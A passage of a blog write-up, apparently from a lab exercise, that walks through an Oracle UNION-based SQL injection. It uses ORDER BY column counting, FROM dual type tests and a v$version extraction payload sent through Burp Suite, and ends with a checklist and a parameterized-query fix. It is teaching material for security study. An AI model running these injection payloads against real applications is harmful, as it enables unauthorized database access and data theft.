Matters:</strong> When testing column count/data types, we can’t just do UNION SELECT &#39;abc&#39;,&#39;def&#39; — we MUST add FROM dual.</p><h3>Recon Phase</h3><h3>Step 1: Confirm SQL Injection</h3><ul><li><strong>Action:</strong> Inject single quote: ?category=&#39;</li><li><strong>Result:</strong> Internal Server Error</li><li><strong>Why:</strong> Breaks SQL syntax → vulnerable</li></ul><h3>Step 2: Determine Number of Columns</h3><p><strong>Method:</strong> Use ORDER BY to find column count</p><h4>Testing Column Count</h4><pre>&#39; ORDER BY 1--   → ✅ 200 OK (column 1 exists)<br>&#39; ORDER BY 2--   → ✅ 200 OK (column 2 exists)<br>&#39; ORDER BY 3--   → ❌ 500 Error (column 3 doesn&#39;t exist)</pre><p><strong>Conclusion:</strong> Query returns <strong>2 columns</strong></p><p><strong>Why ORDER BY Works:</strong></p><ul><li>ORDER BY 1 sorts by first column</li><li>ORDER BY 2 sorts by second column</li><li>ORDER BY 3 fails because there&#39;s no third column</li><li>Error = we exceeded the column count</li></ul><h3>Step 3: Identify Column Data Types</h3><p><strong>Why This Matters:</strong> UNION requires matching data types in each column position.</p><h4>Testing Data Types</h4><pre>-- Test if both columns accept strings<br>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39; FROM dual--</pre><p><strong>Without </strong><strong>FROM dual:</strong></p><pre>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;--</pre><p><strong>Result:</strong> ❌ Internal Server Error</p><p><strong>Why It Failed:</strong> Oracle requires FROM clause in every SELECT.</p><p><strong>With </strong><strong>FROM dual:</strong></p><pre>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39; FROM dual--</pre><p><strong>Result:</strong> ✅ 200 OK, strings ‘abc’ and ‘def’ display on page</p><p><strong>Conclusion:</strong> Both columns accept TEXT/STRING data.</p><h3>Exploitation</h3><h3>Final Payload: &#39; UNION SELECT BANNER, NULL FROM v$version--</h3><p>Let’s break it down:</p><h3>Payload Component Breakdown</h3><h4>1. Close the Original Query: &#39;</h4><pre>SELECT name, description FROM products WHERE category = &#39;&#39;<br>                                                        ↑<br>                                            Closes the string</pre><h4>2. UNION Statement: UNION SELECT</h4><pre>SELECT name, description FROM products WHERE category = &#39;&#39;<br>UNION SELECT ...</pre><ul><li>Combines original query results with our injected query</li><li>Results from both queries display together</li></ul><h4>3. Oracle Version Command: BANNER</h4><pre>UNION SELECT BANNER, NULL FROM v$version</pre><p><strong>What is </strong><strong>BANNER?</strong></p><ul><li>Column name in Oracle’s v$version table</li><li>Contains version information strings</li><li>Multiple rows (each component has a banner)</li></ul><p><strong>What is </strong><strong>v$version?</strong></p><ul><li>Oracle system table</li><li>Stores database version information</li><li>Accessible to all users</li><li>Contains details like:</li><li>Oracle Database version</li><li>PL/SQL version</li><li>Core library versions</li></ul><h4>4. Second Column: NULL</h4><pre>UNION SELECT BANNER, NULL FROM v$version<br>                     ↑<br>                 Second column must match</pre><p><strong>Why NULL?</strong></p><ul><li>Original query returns 2 columns</li><li>UNION requires same number of columns</li><li>We only need data from BANNER (1st column)</li><li>NULL fills the 2nd column requirement</li><li>NULL is compatible with any data type</li></ul><h4>5. The FROM Clause: FROM v$version</h4><ul><li>Queries Oracle’s version table</li><li>Required in Oracle (can’t omit FROM)</li><li>Returns version information</li></ul><h4>6. Comment Out Rest: --</h4><pre>... FROM v$version--&#39; AND released = 1<br>                   ^^^^^^^^^^^^^^^^^^^<br>                   Everything ignored</pre><h3>Why This Payload Works</h3><h3>The Complete Injection Flow</h3><p><strong>Original Query:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;USER_INPUT&#39; <br>AND released = 1</pre><p><strong>After Injection:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;&#39; <br>UNION SELECT BANNER, NULL FROM v$version--&#39; <br>AND released = 1</pre><p><strong>What Actually Executes:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;&#39;<br>UNION <br>SELECT BANNER, NULL <br>FROM v$version</pre><p><strong>Result:</strong></p><ol><li>First query returns: products with empty category (none)</li><li>Second query returns: Oracle version strings from v$version</li><li>Combined results display on page showing version info</li></ol><h3>Step-by-Step Execution</h3><h3>Using Burp Suite</h3><h4>Step 1: Intercept Category Request</h4><pre>GET /filter?category=Gifts HTTP/1.1</pre><h4>Step 2: Send to Repeater</h4><ul><li>Right-click → “Send to Repeater”</li><li>Allows multiple test attempts</li></ul><h4>Step 3: Test Column Count</h4><pre>Payload: &#39; ORDER BY 1--<br>Result: ✅ 200 OK</pre><pre>Payload: &#39; ORDER BY 2--<br>Result: ✅ 200 OK</pre><pre>Payload: &#39; ORDER BY 3--<br>Result: ❌ 500 Error → Confirmed 2 columns</pre><h4>Step 4: Test Data Types</h4><pre>Payload: &#39; UNION SELECT &#39;abc&#39;,&#39;def&#39; FROM dual--<br>Result: ❌ 500 Error (no FROM clause)</pre><pre>Payload: &#39;+UNION+SELECT+&#39;abc&#39;,&#39;def&#39;+FROM+dual--<br>Result: ✅ 200 OK → Both columns are TEXT</pre><p><em>(Note: </em><em>+ is URL encoding for space)</em></p><h4>Step 5: Extract Version</h4><pre>Payload: &#39;+UNION+SELECT+BANNER,+NULL+FROM+v$version--</pre><p><strong>URL Encode in Burp:</strong> Ctrl+U</p><p><strong>Result:</strong> Version strings display in page:</p><pre>Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production<br>PL/SQL Release 11.2.0.2.0 - Production<br>CORE 11.2.0.2.0 Production<br>...</pre><h3>Understanding UNION Requirements</h3><h3>Rule 1: Same Number of Columns</h3><pre>-- ❌ Fails (2 columns vs 1 column)<br>SELECT name, description FROM products<br>UNION<br>SELECT BANNER FROM v$version</pre><pre>-- ✅ Works (2 columns vs 2 columns)<br>SELECT name, description FROM products<br>UNION<br>SELECT BANNER, NULL FROM v$version</pre><h3>Rule 2: Compatible Data Types</h3><pre>-- ❌ Fails (TEXT vs INTEGER mismatch)<br>SELECT name, price FROM products      -- price is INTEGER<br>UNION<br>SELECT BANNER, NULL FROM v$version    -- NULL works, but if second column was string it would fail</pre><pre>-- ✅ Works (TEXT vs TEXT)<br>SELECT name, description FROM products<br>UNION<br>SELECT BANNER, NULL FROM v$version</pre><h3>Rule 3: Oracle Requires FROM</h3><pre>-- ❌ Fails in Oracle<br>UNION SELECT &#39;test&#39;, &#39;test&#39;</pre><pre>-- ✅ Works in Oracle<br>UNION SELECT &#39;test&#39;, &#39;test&#39; FROM dual</pre><h3>Common Mistakes &amp; Fixes</h3><h3>❌ Mistake 1: Forgetting FROM dual</h3><pre>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;--</pre><p><strong>Error:</strong> Internal Server Error<br> <strong>Why:</strong> Oracle requires FROM in every SELECT<br> <strong>Fix:</strong> Add FROM dual</p><h3>❌ Mistake 2: Wrong Column Count</h3><pre>&#39; UNION SELECT BANNER FROM v$version--</pre><p><strong>Error:</strong> Internal Server Error<br> <strong>Why:</strong> Original query has 2 columns, UNION has 1<br> <strong>Fix:</strong> Add NULL: UNION SELECT BANNER, NULL FROM v$version--</p><h3>❌ Mistake 3: Wrong Data Type</h3><pre>&#39; UNION SELECT 123, 456 FROM dual--</pre><p><strong>Error:</strong> May fail if columns expect strings<br> <strong>Fix:</strong> Use strings or NULL: UNION SELECT &#39;abc&#39;, &#39;def&#39; FROM dual--</p><h3>❌ Mistake 4: Not URL Encoding</h3><pre>&#39; UNION SELECT BANNER, NULL FROM v$version--</pre><p><strong>Problem:</strong> Spaces break URL<br> <strong>Fix:</strong> Use + or %20: &#39;+UNION+SELECT+BANNER,+NULL+FROM+v$version--</p><h3>Database Fingerprinting: Identifying Oracle</h3><h3>Signs You’re Dealing with Oracle</h3><ol><li><strong>Error when omitting FROM clause</strong></li></ol><pre>&#39; UNION SELECT &#39;test&#39;--  → ❌ Error</pre><p><strong>2. Success with FROM dual</strong></p><pre>&#39; UNION SELECT &#39;test&#39; FROM dual - → ✅ Works</pre><p><strong>3. Specific error messages mentioning ORA- codes</strong></p><pre>ORA-00933: SQL command not properly ended</pre><h3>Other Database Syntax (For Comparison)</h3><p><strong>MySQL/PostgreSQL:</strong></p><pre>-- No FROM needed<br>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;--</pre><p><strong>Microsoft SQL Server:</strong></p><pre>-- No FROM needed, uses @@version<br>&#39; UNION SELECT @@version, NULL--</pre><h3>Key Takeaways</h3><ol><li><strong>UNION = Data Extraction Tool:</strong> Combines your query with the original to pull any data</li><li><strong>Column Matching is Critical:</strong> Must match count and types</li><li><strong>Oracle = Always Use FROM:</strong> Remember FROM dual for dummy queries</li><li><strong>NULL is Your Friend:</strong> Fills unwanted columns while matching requirements</li><li><strong>System Tables = Gold Mine:</strong> v$version reveals database info</li></ol><h3>The Core Process</h3><pre>1. Confirm SQLi (single quote test)<br>2. Find column count (ORDER BY)<br>3. Test data types (UNION SELECT &#39;strings&#39;)<br>4. Craft extraction query (UNION SELECT sensitive_data)<br>5. Add FROM dual (Oracle requirement)</pre><h3>Defense (Know Thy Enemy)</h3><p><strong>Why This Attack Works:</strong></p><ul><li>User input concatenated into SQL</li><li>No input validation</li><li>Application displays query results directly</li></ul><p><strong>Proper Fix:</strong></p><pre># ❌ Vulnerable<br>query = f&quot;SELECT name, desc FROM products WHERE category=&#39;{user_input}&#39;&quot;</pre><pre># ✅ Safe (Parameterized Query)<br>query = &quot;SELECT name, desc FROM products WHERE category=?&quot;<br>cursor.execute(query, (category,))</pre><h3>Quick Reference Card</h3><p><strong>Oracle UNION SQLi Checklist:</strong></p><ol><li>✅ Find column count: &#39; ORDER BY n--</li><li>✅ Test data types: &#39; UNION SELECT &#39;a&#39;,&#39;b&#39; FROM dual--</li><li>✅ Extract version: &#39; UNION SELECT BANNER,NULL FROM v$version--</li></ol><p><strong>Remember Oracle Rules:</strong></p><ul><li>Always include FROM clause</li><li>Use FROM dual for dummy data</li><li>v$version for version info</li></ul><p><strong>UNION Requirements:</strong></p><ul><li>Same number of columns</li><li>Compatible data types</li><li>Use NULL for filler columns</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ddb83fb0382" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/sql-injection-union-attack-oracle-database-version-5ddb83fb0382">SQL Injection UNION Attack — Oracle Database Version</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>